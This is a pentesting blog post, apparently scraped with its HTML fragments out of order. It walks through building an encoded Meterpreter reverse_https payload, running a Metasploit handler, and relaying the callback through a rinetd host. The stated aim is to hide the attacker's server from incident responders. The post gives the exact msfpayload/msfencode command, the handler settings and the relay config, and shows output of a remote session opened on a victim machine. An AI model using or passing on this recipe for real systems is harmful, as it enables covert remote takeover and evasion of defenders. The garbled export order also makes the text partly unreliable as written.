A pentester might find his\/her self in a situation where they might want to obfuscate the out going connection of their payload.<\/p>\n
Now, my first idea was to use rinetd, but also a netcat relay<\/a> came to mind as well. Nevertheless, my netcat relay did not work for this case.<\/p>\n Before I continue on, I should be explicit on what I want to do:<\/p>\n Create a payload that connects reversely to a host that acts a relay to the attackers host.<\/p>\n What are the benefits to this? Obfuscation of course. When the incidence response team takes action and possibly gets a copy of the payload, to reverse engineer it, they will notice that it connects to a host that may seem benign. For redirecting I’ll be using rinetd<\/a>. My three hosts are which as follows:<\/p>\n Host A = 192.168.1.2 (Attacker) For my payload I’ll be using a new method implemented into metasploit, which is located here: First lets create the payload:<\/p>\n msfpayload windows\/meterpreter\/reverse_https LHOST=192.168.1.3 LPORT=8080 R | msfencode -t loop-vbs -c 10 -o rineme.vbs<\/p>\n Next let’s setup our attacker’s handler on host 192.168.1.2: [*] HTTPS listener started on https:\/\/192.168.1.2:8081\/ Next I’ll set up the relay host to relay my connection.<\/p>\n rinetd -c config.conf<\/p>\n Where config.conf is simply:<\/p>\n 192.168.1.3 8080 192.168.1.2 8081<\/p>\n This way, when the payload is executed and connects to the relay host (192.168.1.3) on port 8080, the relay host will redirect the connection to the attacker’s host at 192.168.1.2 at port 8081.<\/p>\n Once the payload gets executed on the victim host (192.168.1.4) we should see something like this:<\/p>\n [*] 192.168.1.3:36716 Request received for \/A0KET…<\/p>\n [*] 192.168.1.3:36716 Staging connection for target 0KET received…<\/p>\n [*] Patching Target ID 0KET into DLL<\/p>\n [*] 192.168.1.4:49286 Request received for \/B0KET…<\/p>\n [*] 192.168.1.4:49286 Stage connection for target 0KET received…<\/p>\n [*] Meterpreter session 1 opened (192.168.1.2:8081 -> 192.168.1.4:49286)<\/p>\n msf exploit(handler) > sessions -i 1 Intel(R) PRO\/1000 MT Desktop Adapter More to come…<\/p>\n","protected":false},"excerpt":{"rendered":" A pentester might find his\/her self in a situation where they might want to obfuscate the out going connection of their payload. Now, my first idea was to use rinetd, but also a netcat relay came to mind as well. Nevertheless, my netcat relay did not work for this case. Before I continue on, I … Continue reading metasploit + rinetd fun<\/span>
\nAlso, the corporate firewall might only allow out going connections on specific ports and the pentester’s server might have to listen on some odd ball port due to ISP restrictions.<\/p>\n
\nHost B = 192.168.1.3 (Relay host)
\nHost C = 192.168.1.4 (Victim)<\/p>\n
\nhttp:\/\/blog.metasploit.com\/2010\/04\/persistent-meterpreter-over-reverse.html<\/a><\/p>\n
\nmsf> use multi\/handler
\nmsf exploit(handler) > set LHOST 192.168.1.2
\nLHOST => 192.168.1.2
\nmsf exploit(handler) > set LPORT 8081
\nLPORT => 8081
\nmsf exploit(handler) > set PAYLOAD windows\/meterpreter\/reverse_https
\nPAYLOAD => windows\/meterpreter\/reverse_https
\nmsf exploit(handler) > exploit<\/p>\n
\n[*] Starting the payload handler..<\/p>\n
\n[*] Starting interaction with 1..
\nmeterpreter > ipconfig
\nSoftware Loopback Interface 1
\nHardware MAC: 00:00:00:00:00:00
\nIP Address \u00a0: 127.0.0.1
\nNetmask \u00a0 \u00a0: 255.0.0.0<\/p>\n
\nHardware MAC: 08:00:27:a1:52:61
\nIP Address \u00a0: 192.168.1.4
\nNetmask \u00a0 \u00a0 : 255.255.255.0<\/p>\n